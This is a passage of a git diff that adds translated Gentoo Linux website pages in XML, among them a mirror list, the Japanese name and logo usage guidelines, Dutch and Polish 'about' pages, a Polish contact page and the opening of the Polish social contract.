+					<uri link="ftp://ftp.rhnet.is/pub/gentoo/">RHnet (アイスランド/ftp)</uri><br/>
+					<uri link="rsync://ftp.rhnet.is/gentoo">RHnet (アイスランド/rsync)</uri><br/>
+					<uri link="http://ftp.heanet.ie/pub/gentoo/">Ireland National Education and Research Network (アイルランド/http)</uri><br/>
+					<uri link="ftp://ftp.heanet.ie/pub/gentoo/">Ireland National Education and Research Network (アイルランド/ftp)</uri><br/>					

+					<uri link="http://www.die.unipd.it/pub/Linux/distributions/gentoo-sources/">University of Padova (イタリア)</uri><br/>
+					<uri link="rsync://rsync3.it.gentoo.org/gentoo-sources">University of Padova (イタリア/rsync)</uri><br/>
+					<uri link="http://ftp.easynet.nl/mirror/gentoo/">easynet.nl (オランダ)</uri><br/>
+					<uri link="ftp://ftp.easynet.nl/mirror/gentoo/">easynet.nl (オランダ/ftp)</uri><br/>
+					<uri link="http://ftp.snt.utwente.nl/pub/os/linux/gentoo">Universiteit Twente (オランダ)</uri><br/>
+					<uri link="ftp://ftp.snt.utwente.nl/pub/os/linux/gentoo">Universiteit Twente (オランダ/ftp)</uri><br/>
+					<uri link="rsync://ftp.snt.utwente.nl/gentoo">Universiteit Twente (オランダ/rsync)</uri><br/>
+					<uri link="http://vlaai.snt.ipv6.utwente.nl/pub/os/linux/gentoo/">Universiteit Twente (オランダ)*</uri><br/>
+					<uri link="ftp://vlaai.snt.ipv6.utwente.nl/pub/os/linux/gentoo/">Universiteit Twente (オランダ/ftp)*</uri><br/>
+					<uri link="rsync://vlaai.snt.ipv6.utwente.nl/gentoo/">Universiteit Twente (オランダ/rsync)*</uri><br/>
+					<uri link="http://gentoo.tiscali.nl/gentoo/">tiscali.nl (オランダ)</uri><br/>
+					<uri link="ftp://ftp.tiscali.nl/pub/mirror/gentoo">tiscali.nl (オランダ/ftp)</uri><br/>
+					<uri link="http://gentoo.linux.no/">linux.no (ノルウェー)</uri><br/>
+					<uri link="ftp://gentoo.linux.no/pub/gentoo/">linux.no (ノルウェー/ftp)</uri><br/>
+					<uri link="ftp://ftp.uninett.no/pub/linux/Gentoo">UNINETT (ノルウェー/ftp)</uri><br/>
+					<uri link="http://darkstar.ist.utl.pt/gentoo/">Instituto Superior Técnico (ポルトガル)</uri><br/>
+					<uri link="ftp://darkstar.ist.utl.pt/pub/gentoo/">Instituto Superior Técnico (ポルトガル/ftp)</uri><br/>
+					<uri link="http://ftp.lug.ro/gentoo">Romanian Linux Users Group (ルーマニア)</uri><br/>
+					<uri link="ftp://ftp.lug.ro/gentoo">Romanian Linux Users Group (ルーマニア/ftp)</uri><br/>
+					<uri link="http://ftp.iasi.roedu.net/mirrors/gentoo.org/">Romanian Education Network, Iasi Branch (ルーマニア/http)</uri><br/>
+					<uri link="ftp://ftp.iasi.roedu.net/pub/mirrors/gentoo.org/">Romanian Education Network, Iasi Branch (ルーマニア/ftp)</uri><br/>				
+					<uri link="http://ftp.caliu.info/pub/gentoo/">Catalan GNU/Linux User Group (スペイン)</uri><br/>
+					<uri link="ftp://ftp.caliu.info/pub/gentoo/">Catalan GNU/Linux User Group (スペイン/ftp)</uri><br/>
+					<uri link="http://www.mirror.ac.uk/sites/www.ibiblio.org/gentoo/">UK Mirror Service (英国)</uri><br/>
+			
+					
+
+
+        		</p>
+
+				<br/>
+				<p><b>オーストラリア:</b><br/>
+					<uri link="http://planetmirror.com/pub/gentoo/">PlanetMirror</uri><br/>
+					<uri link="ftp://planetmirror.com/pub/gentoo/">PlanetMirror (ftp)</uri><br/>
+					<uri link="rsync://planetmirror.com/gentoo/">PlanetMirror (rsync)</uri><br/>
+					<uri link="http://mirror.pacific.net.au/linux/Gentoo">Pacific Internet</uri><br/>
+					<uri link="ftp://mirror.pacific.net.au/linux/Gentoo">Pacific Internet (ftp)</uri><br/>
+					<uri link="http://ftp.vic.keypoint.com.au">Keypoint</uri><br/>
+					<uri link="ftp://ftp.vic.keypoint.com.au">Keypoint (ftp)</uri><br/>
+				</p><br/>
+				<p><b>アジア:</b><br/>
+					<uri link="http://www.zentek-international.com/mirrors/gentoo/">Zentek International (香港)</uri><br/>
+					<uri link="http://mirror.gentoo.gr.jp">mirror.gentoo.gr.jp (日本)</uri><br/>
+					<uri link="http://gentoo.gg3.net/">gg3.net (日本)</uri><br/>
+					<uri link="ftp://gg3.net/pub/linux/gentoo/">gg3.net (日本/ftp)</uri><br/>
+					<uri link="ftp://ftp.ecc.u-tokyo.ac.jp/GENTOO">University of Tokyo (日本/ftp)</uri><br/>
+					<uri link="http://ftp.gentoo.or.kr/">gentoo.or.kr (韓国)</uri><br/>					<uri link="http://gentoo.kems.net">KEMS-Zajil (クウェート)</uri><br/>
+					<uri link="ftp://gentoo.kems.net">KEMS-Zajil (クウェート/ftp)</uri><br/>
+					<uri link="http://mirror.gentoo.ru/pub/mirror/gentoo/">mirror.gentoo.ru (ロシア)</uri><br/>
+					<uri link="ftp://mirror.gentoo.ru/pub/mirror/gentoo/">mirror.gentoo.ru (ロシア/ftp)</uri><br/>
+					<uri link="rsync://mirror.gentoo.ru/gentoo/">mirror.gentoo.ru (ロシア/rsync)</uri><br/>
+					<uri link="ftp://linux.ntcu.net/dists/gentoo/">linux.ntcu.net (台湾/ftp)</uri><br/>
+					<uri link="rsync://linux.ntcu.net/gentoo-distfiles">linux.ntcu.net (台湾/rsync)</uri><br/>
+					<uri link="http://linux.thai.net/pub/mirrors/gentoo">linux.thai.net (タイ)</uri><br/>
+					<uri link="ftp://linux.thai.net/pub/mirrors/gentoo">linux.thai.net (タイ/ftp)</uri><br/>
+					<uri link="http://ftp.isu.edu.tw/pub/Linux/Gentoo">I-Shou University (台湾/http)</uri><br/>
+					<uri link="ftp://ftp.isu.edu.tw/pub/Linux/Gentoo">I-Shou University (台湾/ftp)</uri><br/>
+				</p>
+				<br/>
+				<p><b>その他のミラーサイト:</b><br/>
+					<uri link="http://ibiblio.org/pub/Linux/MIRRORS.html">(世界のibiblioミラーサイト)</uri><br/>
+				</p>
+				<br/>
+				<p><b>ミラーリングの方法:</b><br/>
+					<uri link="/doc/en/rsync.xml">How to set up a Gentoo Linux rsync mirror</uri>(<uri link="/doc/ja/rsync.xml">日本語訳</uri>)<br/>
+					<uri link="/doc/en/source_mirrors.xml">How to set up a Gentoo Linux source mirror</uri>(<uri link="/doc/ja/source_mirrors.xml">日本語訳</uri>)<br/>
+				</p>
+				<br/>
+				<p>
+				<note>* IPv6サポート有のサイト</note>
+				</p>
+			</body>
+		</section>
+		<!--
+		<section>
+		<title>Gentoo Linuxの部分的なミラーサイト</title>
+		<body>
+		<p>次の組織は、ソースtarballやPortageツリーのスナップショットを含むGentoo Linuxの部分的なミラーを提供しています。これらのミラーには、インストールCD、LiveCD、GRPパッケージ等のコピーはありません。もしこれらをお探しなら上記のミラーサイトを訪れてみてください。</p>
+		<ul>
+			<li></li>
+		</ul>
+		</body>
+		</section>
+		-->
+	</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ja/name-logo.xml b/xml/htdocs/main/ja/name-logo.xml
new file mode 100644
index 00000000..2db8bdf6
--- /dev/null
+++ b/xml/htdocs/main/ja/name-logo.xml
@@ -0,0 +1,237 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ja/name-logo.xml,v 1.4 2006/02/17 18:17:30 idani Exp $ -->
+
+<guide link="/main/ja/name-logo.xml" lang="ja">
+<title>Gentooの名称とロゴの使用に関するガイドライン</title>
+<author>
+  The Gentoo Foundation
+</author>
+<author title="翻訳">
+  <mail link="solidsneak@hyper.cx">小林弘樹</mail>
+</author>
+
+<abstract>
+このドキュメントはGentooの名前とロゴの使用に関するガイドラインをカバーしています。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<!-- Original revision: 1.9 -->
+
+<chapter>
+<title>準備</title>
+<section>
+<body>
+
+<p>
+このドキュメントはGentoo名、"g"ロゴ、およびいかなる他の関連マークのソフトウェアとGentoo Foundation, Inc.の指導の下にないコンピュータ関連の取り組みの適切な使用についても説明します。
+このガイドラインに関する質問があれば、<mail link="trustees@gentoo.org">Gentoo Foundation, Inc.</mail>まで連絡してください。
+</p>
+
+<p>
+Gentoo Technologies, Inc.は単独の裁量でこれらの条件を時々変更する権利を保有します。
+そのため、私たちは、定期的にこの声明を見直すよう奨励します。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>定義</title>
+<section>
+<title>Gentooプロジェクト</title>
+<body>
+
+<p>
+現在、非営利法人であるGentoo Foundation, Inc.によって管理されているボランティア開発作業です。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentooプロジェクトによって作成されたコンテンツ</title>
+<body>
+
+<p>
+全てのコンテンツの著作権はGentoo Foundation, Inc.が保有します。
+</p>
+
+</body>
+</section>
+<section>
+<title>"g"ロゴ</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Gentooアートワーク</title>
+<body>
+
+<p>
+Gentooアートワークとは、<e>Gentooプロジェクト</e>(上の説明を参照)によって作成されたアートワークを指します。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentooコミュニティサイト</title>
+<body>
+
+<p>
+Gentooコミュニティサイトとは、Gentooに関する追加情報とGentoo関連の話題をどんなGentooユーザにも提供することが主目的である非営利のウェブサイトのことです。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>マークの所有権</title>
+<section>
+<body>
+
+<p>
+現在、"Gentoo"の名前と"g"ロゴはGentoo Foundation, Inc.の登録商標です。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentooの名前の使用</title>
+<section>
+<body>
+
+<p>
+以下の条件で、コンピュータ関連のコンテンツにおいてGentooの名前を使用することが許可されています。
+</p>
+
+<ol>
+  <li>
+    "Gentoo"という名前がGentoo Foundation, Inc.の登録商標であると認識する
+  </li>
+  <li>
+    いかなるソフトウェアプロジェクトやコンピュータ関連の製品にも"Gentoo"と表題をつけないし、名前の中に"Gentoo"が表れてはいけない
+  </li>
+  <li>
+    ソフトウェアプロジェクトかコンピュータ関連の製品のための完全修飾ドメイン名が"Gentoo"を含んでいない
+  </li>
+  <li>
+    <e>
+       "Gentoo"という名が関連しているコンテンツ、プロジェクト、サイト、製品またはいかなる他のタイプの項目もGentooプロジェクトの1部ではなく、またGentoo Foundation, Inc.によって指導や管理が行われていないと明確に述べる
+    </e>
+  </li>
+</ol>
+
+<p>
+私たちは、これらの制限がEmil Binkによって開発された<uri link="http://www.obsession.se/gentoo/">Gentoo file manager</uri>に適用されると考えません。それはOSに関するプロジェクトでないからです。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentooロゴとアートワークの使用</title>
+<section>
+<body>
+
+<p>
+以下の条件のもとで、Gentoo Foundation, Inc.が著作権を有する、Gentooの"g"ロゴとアートワーク(以下「Gentooアートワーク」と呼ぶ)を使用することが許可されています。
+</p>
+
+</body>
+</section>
+<section>
+<title>商用使用</title>
+<body>
+
+<p>
+以下の条件が満たされれば、Gentooの"g"ロゴとGentooアートワークの商用使用は、GentooプロジェクトやGentooならびにGentooプロジェクトを参照したどんなプロジェクトやサービスによって作り出された内容を<e>含む</e>、もしくは<e>基づいている</e><e>どんなソフトウェアやコンピュータハードウェア製品</e>にも許可されます。
+</p>
+
+<ol>
+  <li>
+    "g"ロゴがGentoo Foundation, Inc.の登録商標であり、全てのGentooアートワークの著作権はGentoo Foundation, Inc.が保有すると認識する
+  </li>
+  <li>
+    使用されるアートワークは製品の上に表示されたプライマリ(最も大きい)マークで<e>あってはならない</e>し、製品が「Gentooプロジェクトによって制作されたコンテンツ」を含むと言うことを伝えることを意図しますが、<e>それ自体でGentoo Foundation, inc.が販売、またはサポートする製品ということを表さない</e>
+  </li>
+</ol>
+
+<p>
+<e>
+その他いかなる目的のGentoo "g"ロゴとGentooアートワークの商用使用は特に認められません。
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>非営利使用</title>
+<body>
+
+<p>
+以下の条件が満たされれば、"g"ロゴとGentooアートワークの非営利使用を行うことができます。
+</p>
+
+<ol>
+  <li>
+    "g"ロゴはGentoo Foundation, Inc.の登録商標であり、全てのGentooアートワークの著作権はGentoo Foundation, Inc.が保有すると認識する
+  </li>
+  <li>
+    "g"ロゴとGentooアートワークはGentoo Foundation, Inc.に指導された"Gentooプロジェクト"に関するコンテンツに使用し、その他Gentoo Foundation, Inc.の権力外のものには使用しない
+  </li>
+  <li>
+    <e>
+       "g"ロゴかGentooアートワークが関連しているコンテンツ、プロジェクト、サイト、製品またはいかなる他のタイプの項目もGentooプロジェクトの一部でなく、またGentoo Foundation, Inc.によって指導や管理が行われていないと明確に述べる
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentooコミュニティプロジェクト</title>
+<section>
+<body>
+
+<p>
+Gentoo Foundationは上記条件を明確化したGentooコミュニティサイトに、それらのプロジェクト名と完全修飾ドメイン名でGentooの名前を使用する権利を与えます。
+</p>
+
+<ol>
+  <li>
+     ウェブサイトの各ページに「ニュースサイト」、「ファンサイト」、「非公式サイト」または「コミュニティサイト」と名づけることによって、プロジェクトが公式のGentooプロジェクトでないと明確に述べる
+  </li>
+  <li>
+    ウェブサイトは完全に私たちの公式のウェブサイトの1つの名前やレイアウトをまねてはならない
+  </li>
+  <li>
+    "Gentoo"がGentoo Foundation, Inc.の登録商標であると認識する
+  </li>
+</ol>
+
+<p>
+Gentooの名前、ロゴ、およびアートワークのその他いかなる使用も前述のガイドラインによって制限されます。
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/nl/about.xml b/xml/htdocs/main/nl/about.xml
new file mode 100644
index 00000000..43a37d6f
--- /dev/null
+++ b/xml/htdocs/main/nl/about.xml
@@ -0,0 +1,76 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/nl/about.xml,v 1.4 2007/03/16 10:40:44 neysx Exp $ -->
+
+<mainpage lang="nl">
+<title>Over Gentoo Linux</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Vertaler"><mail link="rgoessen@home.nl">Roderick Goessen</mail></author>
+
+<version>1.0.8</version>
+<date>23 February 2003</date>
+
+<chapter>
+<title>Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... in een poster</title>
+<body>
+		<fig link="/images/poster.jpg"/>
+</body>
+</section>
+<section>
+<title>Gentoo Linux in een paragraaf </title>
+<body>
+
+<p>Wij maken Gentoo Linux. Gentoo Linux is een speciale Linux versie dat automatisch kan worden geoptimaliseerd en aangepast aan zo goed als iedere applicatie of behoefte. Gentoo Linux staat voor extreme prestaties, configureerbaarheid en een user en development gemeenschap die tiptop in orde is. </p>
+
+<p> Dankzij de technologie dat Portage heet, kan Gentoo Linux als een ideale server, een development workstation, professional desktop, gaming systeem of wat dan ook dienen. Omdat Gentoo Linux zo goed als ongelimiteerd aangepast kan worden, noemen we Gentoo Linux <b>meta</b>distributie.  </p>
+
+</body>
+</section>
+<section>
+<title>Wat is Portage?</title>
+<body>
+
+<p><b>Portage</b> is het hart van Gentoo Linux, en heeft verschillende sleutelrollen. Ten eerste is Portage <e>software distributie</e> systeem voor Gentoo Linux.
+Om de laatste software voor Gentoo Linux te installeren, typ je enkel het commando <c>emerge
+sync</c>. Dit commando vertelt Portage om de lokale "Portage tree" te updaten via het internet. Je Portage tree die je op je computer hebt staan, bevat een complete verzameling van scripts die gebruikt kunnen worden door Portage om de nieuwste Gentoo packages te maken en installeren. Op het moment hebben we <uri link="/dyn/pkgs/index.xml">meer dan 4000 packages</uri> in de Portage tree. Nieuwe packages worden constant toegevoegd.</p>
+
+<p>Portage dient ook als <e>package building en installatie</e> systeem. Wanneer je een package wilt installeren, typ je <c>emerge packagename</c>. Op dat moment begint Portage automatisch een aangepaste versie van het package te bouwen. De aanpassingen sluiten precies aan op de specifieke specificaties en hardware zoals je die zelf hebt bepaald. </p>
+
+<p>Tot slot houdt Portage je systeem ook <e>up-to-date</e>. Door <c>emerge -u
+world</c> -- een enkel commando - te typen, ben je er zeker van dat de packages die op je systeem staan, automatisch up-to-date worden gemaakt wanneer er een nieuwe versie in Portage blijkt te zijn.</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux 1.4_rc4</title>
+<body>
+	
+<p>Portage zal je systeem zo up-to-date houden als je zelf wilt. Het gevolg hiervan is dat ervaren Gentoo Linux gebruikers maar weinig aandacht besteden aan "nieuwe versies" van Gentoo Linux. De niewste versie van Gentoo Linux is immers altijd beschikbaar door het <c>emerge sync</c> commando in te typen. Het is niet nodig om verschillende maanden te wachten op een "nieuwe versie" van Gentoo Linux, omdat Gentoo Linux continue wordt geüpdate en verbeterd. Deze verbeteringen zijn gelijk tot je beschikking. </p>
+
+<p>Natuurlijk komen er af en toe nieuwe officiële CD releases uit van Gentoo Linux. Dit is om nieuwe Gentoo Linux installaties te vergemakkelijken, en om het systeem al zo up-to-date mogelijk te hebben tijens de installatie. Hieronder staat opgesomd wat er in de nieuwste 1.4_rc release van Gentoo Linux zit: </p>	
+
+<ul>
+<li>Support voor x86, PowerPC, UltraSparc en Alpha processors</li>
+<li>LiveCD-based installatie voor x86 en PowerPC</li>
+<li>KDE 3.1.1a en GNOME 2.2.1</li>
+<li>Verschillende geoptimaliseerde Linux kernels (2.4.20, 2.4.21_pre)</li>
+<li>Een erg modern GNU development omgeving(glibc 2.3, gcc 3.2.2)</li>
+<li>Perfecte filesystem support: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>Uitstekende hardware support: NVIDIA, Creative Labs Live! en Audigy</li>
+<li>Modulair OpenGL en compiler sub-systeem (ondersteund meerdere, naast elkaar, bestaande versies)</li>
+<li>Schoon, dependency-gebaseerd sytem initialization scripts</li>
+<li>Nieuw "hardened" Gentoo veiligheids initiatieven</li>
+<li>4000+ packages van de nieuwste en beste software</li>
+<li>Aangepaste Portage mogelijkheden</li>
+</ul>
+
+<p>Als de kracht, snelheid en flexibiliteit van Gentoo Linux je aantrekt, dan moedigen wij je aan om het eens te proberen. We denken niet dat je teleurgesteld zal zijn.</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
+
diff --git a/xml/htdocs/main/pl/about.xml b/xml/htdocs/main/pl/about.xml
new file mode 100644
index 00000000..0c5cf9b8
--- /dev/null
+++ b/xml/htdocs/main/pl/about.xml
@@ -0,0 +1,120 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/about.xml,v 1.12 2008/01/23 17:17:37 rane Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="pl">
+<title>O Gentoo</title>
+
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Redaktor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Redaktor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redaktor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Redaktor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="kflis@kflis.net">Kuba Flis</mail>
+</author>
+
+<abstract>
+Krótka opowieść o Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>O Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux w akapicie</title>
+<body>
+
+<p>
+Gentoo Linux jest darmowym systemem operacyjnym bazującym zarówno na Linuksie,
+jak i na FreeBSD. Może być on automatycznie optymalizowany i dostosowywany do
+dowolnej aplikacji lub potrzeby. Gentoo cechuje się także ekstremalną
+możliwością konfiguracji, wydajnością oraz znakomitą społecznością
+użytkowników i deweloperów.
+</p>
+
+<p>
+Dzięki technologii o nazwie Portage, Gentoo Linux może stać się bardzo
+bezpiecznym serwerem, stacją deweloperską, profesjonalną stacją roboczą,
+systemem do gier, rozwiązaniem dla systemów wbudowanych (embedded) lub czymś
+zupełnie innym - tym, co akurat będzie potrzebne. Dzięki swojej prawie
+nieograniczonej przystosowalności Gentoo nazywamy <b>meta</b>dystrybucją.
+</p>
+
+<p>
+Oczywiście Gentoo to coś więcej niż tylko oprogramowanie jakie zawiera. To także
+społeczność składająca się z ponad 300 deweloperów i tysięcy użytkowników.
+Projekt Gentoo poza oprogramowaniem to także dokumentacja, infrastruktura (listy
+mailingowe, fora, strona www), a także zespoły zajmujący się nowymi wydaniami
+(Release Engineering), portowaniem oprogramowania, kontrolą jakości, badaniem
+bezpieczeństwa, tworzeniem wersji serwerowej (Gentoo Hardened) oraz wieloma
+innymi rzeczami.
+</p>
+
+<p>
+Nad rozwojem Gentoo czuwa <uri link="/proj/en/council/">7-osobowa rada</uri>
+wybierana na roczną kadencję przez ogół deweloperów, do której kompetencji
+należy podejmowanie decyzji na temat ogólnych kierunków rozwoju naszej
+dystrybucji oraz podstawowych zasad jej tworzenia.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czym jest Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> jest sercem Gentoo Linux - jest odpowiedzialne za szereg
+kluczowych funkcji. Przede wszystkim jest systemem <e>dystrybucji
+oprogramowania</e> dla Gentoo Linux. Aby pobrać najnowsze oprogramowanie dla
+Gentoo wystarczy wydać jedno polecenie: <c>emerge --sync</c>. Sprawia ono, że
+lokalne "drzewo Portage" jest aktualizowane przez Internet. Lokalne drzewo
+zawiera kompletny zestaw skryptów, które mogą być wykorzystane przez Portage do
+tworzenia i instalacji najnowszych pakietów Gentoo. W obecnej chwili w drzewie
+Portage znajduje się <uri link="http://packages.gentoo.org/">ponad 10000
+pakietów</uri> i przez cały czas dodajemy nowe pozycje.
+</p>
+
+<p>
+Portage jest także systemem służącym do <e>kompilacji i instalacji pakietów</e>.
+Aby zainstalować pakiet wystarczy wpisać <c>emerge nazwa_pakietu</c>, a Portage
+automatycznie skompiluje wybraną wersję dokładnie według podanych zaleceń,
+optymalizując go dla odpowiedniego sprzętu i dbając o to, aby wybrane opcjonalne
+funkcje zostały włączone -- oraz, aby reszta pozostała nieaktywna.
+</p>
+
+<p>
+Portage zajmuje się także dbaniem o <e>aktualność</e> systemu. Wpisanie
+<c>emerge -uD world</c>, sprawi, że wszystkie pakiety zainstalowane w
+systemie zostaną automatycznie zaktualizowane.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/contact.xml b/xml/htdocs/main/pl/contact.xml
new file mode 100644
index 00000000..f3de5eb7
--- /dev/null
+++ b/xml/htdocs/main/pl/contact.xml
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/contact.xml,v 1.1 2007/05/02 02:04:36 rane Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage>
+<title>Kontakt z przedstawicielami Gentoo</title>
+
+<author title="Autor">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="planim@o2.pl">Maciej Majnusz</mail>
+</author>
+
+<abstract>
+Kontakt z przedstawicielami Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-01</date>
+
+<chapter>
+<title>Jak się z nami skontaktować?</title>
+<section>
+<title>Kontakt z Gentoo</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Wprowadzenie</uri></li>
+  <li><uri link="#pr">Public Relations/Wydarzenia</uri></li>
+  <li><uri link="#www">Webmasterzy</uri></li>
+  <li><uri link="#trustees">Fundacja Gentoo</uri></li>
+</ul>
+
+</body>
+</section>
+<section id="intro">
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+"Gentoo" to wiele rzeczy. To dystrybucja Linuksa przeznaczona dla każdego. To
+filozofia zarządzania. Jest to także organizacja o charakterzy niekomercyjnym.
+Dokument ten ma pomóc skontaktować się z odpowiednią grupą wewnątrz Gentoo, tak
+aby korespondencja mogła przebiegać tak szybko jak to tylko możliwe.
+</p>
+
+<p>
+Odnośnie informacji na temat zbliżających się wydarzeń, wywiadów, ogólne pytania
+lub po prostu by dowiedzieć się więcej o Gentoo i o produktach Gentoo należy
+skontaktować się z jedną z osób odpowiedzialnych za <uri link="#pr">Public
+Relations</uri>.
+</p>
+
+<p>
+Odnośnie informacji na tej lub innej internetowej stronie Gentoo prowadzonej w
+domenie <c>gentoo.org</c>, należy skontaktować się z <uri
+link="#www">Webmasterami</uri>.
+</p>
+
+<p>
+Odnośnie informacji o Fundacji Gentoo lub czymkolwiek innym powiązanym z
+własnością intelektualną Gentoo, znakami firmowymi i prawami autorskimi, należy
+skontaktować się z <uri link="#trustees">Fundacją Gentoo</uri>.
+</p>
+
+<p>
+Pomocy związanej z Gentoo Linux, innym produktem lub projektem Gentoo, można
+szukać na <uri link="/main/pl/support.xml">stronie pomocy</uri>.
+</p>
+
+</body>
+</section>
+<section id="pr">
+<title>Public Relations</title>
+<body>
+
+<p>
+Projekt <uri link="/proj/en/pr/">Public Relations</uri> i jego podprojekt <uri
+link="/proj/en/pr/events/">wydarzenia</uri> są odpowiedzialne za
+rozpowszechnianie informacji o Gentoo oraz za koordynowanie naszego udziału we
+wszelkich imprezach handlowych i pokazach.
+</p>
+
+<p>
+Zespół PR to zespół odpowiedzialny za kontakt ze światem. Są oni drzwiami do
+wnętrza Gentoo. Wszelkie materiały na artykuł, kogoś do wywiadu, informacji o
+Gentoo lub o tym co może oferować najlepiej szukać właśnie u nich. Można się z
+nimi skontaktować poprzez e-mail <mail>pr@gentoo.org</mail> - ludzie z zespołu
+odpowiadają najszybciej jak to tylko jest możliwe.
+</p>
+
+</body>
+</section>
+
+<section id="www">
+<title>Webmasterzy</title>
+<body>
+
+<p>
+Podtrzymywanie obecności Gentoo w sieci to trudne zadanie. Gentoo ma oddany
+zespół webmasterów którzy zajmują się stroną, pilnując, aby była dokładna i
+aktualna. Aby skontaktować się lub wystawić komentarz na temat strony
+internetowej Gentoo, należy skontaktować się właśnie z tym zespołem. Wystarczy
+wysłać e-mail na adres <mail>www@gentoo.org</mail>, a na pewno ktoś szybko
+odpowie.
+</p>
+
+</body>
+</section>
+<section id="trustees">
+<title>Fundacja Gentoo i jej doradcy</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">Fundacja Gentoo</uri> jest niedochodową organizacją,
+która została utworzona by bronić własności intelektualnej Gentoo. Jej doradcy
+są opiekunami prawnymi jednostki jaką jest Gentoo w USA. Pytania o naturze
+prawnej należy kierować właśnie do nich - poprzez e-mail
+<mail>trustees@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pl/contract.xml b/xml/htdocs/main/pl/contract.xml
new file mode 100644
index 00000000..5d9a155b
--- /dev/null
+++ b/xml/htdocs/main/pl/contract.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pl/contract.xml,v 1.7 2008/01/20 20:11:43 rane Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="pl">
+<title>Umowa społeczna Gentoo</title>
+
+<author title="Autorstwo">
+  Projekt Gentoo
+</author>
+<author title="Redaktor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+W tym dokumencie deklarujemy, że Gentoo pozostanie wolnym oprogramowaniem,
+obiecujemy, że proces jego tworzenia zawsze pozostanie otwarty oraz że będziemy
+udostępniać naszą pracę całej społeczności wolnego oprogramowania.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Umowa społeczna Gentoo</title>
+<section>
+<body>
+
+<p>
+Ta umowa społeczna ma za zadanie jasno określić ogólne zasady rozwoju i
+standardy dla zespołu developerów projektu Gentoo. Części tego dokumentu zostały
+zapożyczone z <uri link="http://www.debian.org/social_contract">Umowy społecznej
+Debiana</uri>. Ogólnie jest do niej bardzo podobna tyle, z tym że niektóre jej
+części zostały rozbudowane, podczas gdy inne, uznane za nadmiarowe, zostały
+usunięte. Komentarze są mile widziane. Prosimy wysyłać je na naszą listę
+dyskusyjną <mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czym jest Gentoo?</title>
+<body>
+
+<p>
+Gentoo samo w sobie jest kolekcją ogólnie dostępnej wiedzy. Wiedza w tym
+znaczeniu może zostać zdefiniowana jako dokumentacja i informacje dotyczące
+systemów operacyjnych i ich elementów, jak również <uri
+link="http://www.fsf.org/philosophy/free-sw.html">Wolne Oprogramowanie</uri>
+tworzone i rozwijane przez wiele osób związanych z Projektem Gentoo.
+</p>
+
+<p>
